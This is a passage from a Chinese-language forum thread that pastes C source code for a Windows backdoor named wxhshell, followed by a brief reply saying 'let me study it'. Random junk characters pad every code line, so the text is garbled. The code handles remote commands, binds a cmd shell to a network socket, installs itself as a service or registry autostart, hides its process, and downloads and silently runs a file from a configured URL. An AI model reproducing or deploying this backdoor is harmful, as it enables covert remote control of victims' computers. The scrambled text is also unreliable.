  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7_# 1Ec|;  
  } :L 3&FA   
  else { |/ }\6L]  
y3<Y?M4  
    switch(cmd[0]) { 1h7+@#<:a  
  ]/cd;u  
  // 帮助 vOgC>_x7  
  case '?': { b|5w]<?'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y $-3v.  
    break; AddeaB5<  
  } 5yVkb*8HS  
  // 安装 wLV~F[:  
  case 'i': { ~l~Tk6EM  
    if(Install()) KL'zXkS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _#_ E^!  
    else X _$a,"'~)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ np,_yI  
    break; nNmsr=y5  
    } =IKEb#R/  
  // 卸载 },[;O^Do^{  
  case 'r': { Pj?Dmk~   
    if(Uninstall())  st 'D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gf)t)-E  
    else j 6ut}Uq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jKIc09H|  
    break; 4Tct  
    } V|MY!uV  
  // 显示 wxhshell 所在路径 OJ4SbI  
  case 'p': { FP"$tt(  
    char svExeFile[MAX_PATH]; +1 eCvt:,  
    strcpy(svExeFile,"\n\r"); Ejq#~Zhr!  
      strcat(svExeFile,ExeFile); kVS?RHR  
        send(wsh,svExeFile,strlen(svExeFile),0); Ov82ibp_1  
    break; #2xSyOrmf  
    } Rb}KZ+o "Z  
  // 重启 <a le$[  
  case 'b': { b @;.F!x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pe&UQ C^  
    if(Boot(REBOOT)) ]=F8p2w?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :1 )DqoAJ  
    else { O''y>N9  
    closesocket(wsh); o0z67(N&g  
    ExitThread(0); /b,TpuM^  
    } TQ9D68 ,  
    break; eX l=i-'  
    } YW; Hk1  
  // 关机 N6Z{BLZ  
  case 'd': { ]|:uU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vs&8wbS)  
    if(Boot(SHUTDOWN)) _U)%kY8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i z]rFNR  
    else { 9j|gdfb%ml  
    closesocket(wsh); %zo= K}u  
    ExitThread(0); l+y-Fo@  
    } 34|a:5c  
    break; 4-v6=gz.  
    } 5 ZfP  
  // 获取shell Me:{{-V4  
  case 's': { ?PPZp6A3L=  
    CmdShell(wsh); g2p"LWex-  
    closesocket(wsh); T,JA#Rk|1N  
    ExitThread(0); UmKX*T9  
    break; ?HR%bn gK  
  } @=uN\) 1  
  // 退出 $1*3!}_0  
  case 'x': { gH:ArfC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wf>^bFb"$  
    CloseIt(wsh); t0m*PJcF  
    break; x|~zHFm6  
    } $GF]/;\m  
  // 离开 5@u~3jPd  
  case 'q': { ^O%9yEo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $;D* n'8Fx  
    closesocket(wsh); ;8B.;%qkL  
    WSACleanup(); X,v4d~>]  
    exit(1); msk/p>{O  
    break; $->d!  
        } Q1tpCT  
  } >[*4Tjg  
  } %(LvE}[RJ  
Ygkv7>?,  
  // 提示信息 o7xgRSz\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b7h+?!H]R  
} P -Fg^tl  
  } &:#m&,tQ  
4Nmea-!*  
  return; ( v#pj8aE  
} Rs$5PdH  
(a{ZJI8_  
// shell模块句柄 !E& MBAKy  
int CmdShell(SOCKET sock) =l`OHTg  
{ W8aU "_  
STARTUPINFO si; xRX>|S  
ZeroMemory(&si,sizeof(si));  . gT4_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YL^Z4: p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XizPMN5a  
PROCESS_INFORMATION ProcessInfo; LD55n%|0`H  
char cmdline[]="cmd"; m4/}Jx[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p#H]\ P'  
  return 0; v$$]Gv(  
} m@ oUvxcd  
d5U; $q{o  
// 自身启动模式 }e=e",eAT  
int StartFromService(void) yr4ou  
{ W^xZ+]  
typedef struct Zg $Tf  
{ {j6g@Vd6lx  
  DWORD ExitStatus; -i_En^Fi  
  DWORD PebBaseAddress; ~b8a^6:R"  
  DWORD AffinityMask; ]C *10S`  
  DWORD BasePriority; Q\#UWsN(T/  
  ULONG UniqueProcessId; NJ$e6$g)  
  ULONG InheritedFromUniqueProcessId; _bI+QC#   
}   PROCESS_BASIC_INFORMATION; S;}qLjT  
If.n(t[M9  
PROCNTQSIP NtQueryInformationProcess; |%ZpatZA5  
eF1.VLI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yDtOpM8<{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $pFk"]=  
f9'] jJ+  
  HANDLE             hProcess; Kpg:yrc['  
  PROCESS_BASIC_INFORMATION pbi; oBw}hH,hp  
n>llSK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +"L$ed(=nJ  
  if(NULL == hInst ) return 0; ~n]NyVFP  
?'2 v.5TQt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %CT!$Y'n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ahp1!=Z-=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u33zceE8  
UB&2f>  
  if (!NtQueryInformationProcess) return 0; :QKb#4/8;  
j) 6G7T|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WEVl9]b'e+  
  if(!hProcess) return 0; ^K*-G@B  
_$(GRNRYK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k5X b}@  
S OI)/u  
  CloseHandle(hProcess); &"AQ; %&N  
 ^Fp=y,D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,o)4p\nV  
if(hProcess==NULL) return 0; VR v02m5  
AM?Ec1S #a  
HMODULE hMod; 5bBCpNa  
char procName[255]; MOLO3?H(  
unsigned long cbNeeded; ji##$xC  
A`C-sD >  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r|bPR!0  
)KE_t^$  
  CloseHandle(hProcess); .93S>U<_  
Ma_=-cD  
if(strstr(procName,"services")) return 1; // 以服务启动 bs:QG1*.  
2[BA( B  
  return 0; // 注册表启动 _ _ =s'  
} Ps7_-cH  
@Mr}6x*  
// 主模块 5Jw"{V?Ak  
int StartWxhshell(LPSTR lpCmdLine) Jy`G]]?  
{ \-G5l+!  
  SOCKET wsl; j]HE>  
BOOL val=TRUE; pe#*I/)b  
  int port=0; Yhk6Uog{4  
  struct sockaddr_in door; 2+&R" #I  
tnL."^%A2I  
  if(wscfg.ws_autoins) Install(); 1g81S_T .  
gA"<MI'y  
port=atoi(lpCmdLine); +{Gw9h"5g*  
O3&|}:<  
if(port<=0) port=wscfg.ws_port; <O bHf`Q  
M1gP R  
  WSADATA data; X{'wWWZC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )(.%QSA\C  
X}?ESjZJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (NM6micc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <>&89E%j'  
  door.sin_family = AF_INET; c&A]pLn+x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XqX I(q^  
  door.sin_port = htons(port); s+N^PX3  
&*ZC0V3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @LHtt/&  
closesocket(wsl); F_ _H(}d  
return 1; Z]p8IH%~92  
} 2| $k`I,  
y\@SC\jk|  
  if(listen(wsl,2) == INVALID_SOCKET) { < %/:w/  
closesocket(wsl); o6/Rx#A  
return 1; 6yp+h  
} W'd/dKU x  
  Wxhshell(wsl); oX#9RW/ >I  
  WSACleanup(); -D;lS 6  
ha5 bD%  
return 0; Ef-a4Pi  
KKV)DExv?  
} f{f_g8f[  
!HvGlj@(|  
// 以NT服务方式启动 =s6E/K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fls#LcI9>6  
{ ~X[S<Gi#  
DWORD   status = 0; z6Fun  
  DWORD   specificError = 0xfffffff; ]|;7R^o3|  
u8xk]:%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o\:$V   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FE>3 D1\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F"Uh/EO<  
  serviceStatus.dwWin32ExitCode     = 0; U~Xf=f_Q$  
  serviceStatus.dwServiceSpecificExitCode = 0; !>q?dhw@  
  serviceStatus.dwCheckPoint       = 0; R&#[6 r(h  
  serviceStatus.dwWaitHint       = 0; sb`&bA;i  
P~o@9RV-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (}sDm ~;s  
  if (hServiceStatusHandle==0) return; jjYM3LQcdP  
_qEWu Do  
status = GetLastError(); 5a8JVDLX^  
  if (status!=NO_ERROR) '+tKvTU;  
{ HqB|SWyK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i+U@\:=  
    serviceStatus.dwCheckPoint       = 0; ~NA1SZ{Y+  
    serviceStatus.dwWaitHint       = 0; _jiQL66pY  
    serviceStatus.dwWin32ExitCode     = status; m\/>C|f\  
    serviceStatus.dwServiceSpecificExitCode = specificError; R9bhC9NP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tx gvVQ  
    return; NYGmLbq  
  } uSH> $;a  
R&]c"cO L8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^zKt{a  
  serviceStatus.dwCheckPoint       = 0; a4Ls^  
  serviceStatus.dwWaitHint       = 0; 2\DTJ`Y,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (y%%6#bd  
} `:V}1ioX5  
"^Y6ctw  
// 处理NT服务事件,比如:启动、停止 #aj|vox}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U8EJC .e&O  
{ v/]Qq  
switch(fdwControl) zoJ_=- *s  
{ r[6#G2  
case SERVICE_CONTROL_STOP: MJy;GzJ O  
  serviceStatus.dwWin32ExitCode = 0; sg+ZQDF{x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @Q/x&BV  
  serviceStatus.dwCheckPoint   = 0; ?e"Wu+q~L  
  serviceStatus.dwWaitHint     = 0; pCz@(:0  
  { t1G1(F#&%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "w(N62z/  
  } >6*(}L9  
  return;  Y>xi|TWN  
case SERVICE_CONTROL_PAUSE: nXv 7OEpTx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w/?nUp  
  break; lv=yz\  
case SERVICE_CONTROL_CONTINUE: e 4 p*51ra  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q-A`/9  
  break; hN Z4v/  
case SERVICE_CONTROL_INTERROGATE: vsu@PuqH  
  break; N>Vacc_[  
}; P'-JbPXU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Q,Msl4n  
} ^fFtI?.6jI  
W`w5jk'0^=  
// 标准应用程序主函数 A4~D#V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _!CK   
{ SPfD2%jjC  
&oon'q5;  
// 获取操作系统版本 /'R UA  
OsIsNt=GetOsVer(); DZ%g^DRZX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nYI/&B{p  
b`(yu.{Jn  
  // 从命令行安装 9`)w@-~~  
  if(strpbrk(lpCmdLine,"iI")) Install(); + 9F^F>mu  
NFrNm'v  
  // 下载执行文件 A2}Z *U(;  
if(wscfg.ws_downexe) { ) j{WeG7L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JZs|~@  
  WinExec(wscfg.ws_filenam,SW_HIDE); %KbBH:z05  
} t-.2 +6"\  
"z^BKb5  
if(!OsIsNt) { 6(ka"Vu~  
// 如果时win9x,隐藏进程并且设置为注册表启动 L@)b%Q@a  
HideProc(); E}xz7u   
StartWxhshell(lpCmdLine); VQ1?Db(_2  
} 54`bE$:+  
else Bpk@{E9  
  if(StartFromService()) >k$[hk*~  
  // 以服务方式启动 @ChN_gd3!  
  StartServiceCtrlDispatcher(DispatchTable); mXxZM;P[  
else dNR7e   
  // 普通方式启动 r24\DvS  
  StartWxhshell(lpCmdLine); ZcUh[5:|  
V-?sek{;  
return 0; P@gu~!  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五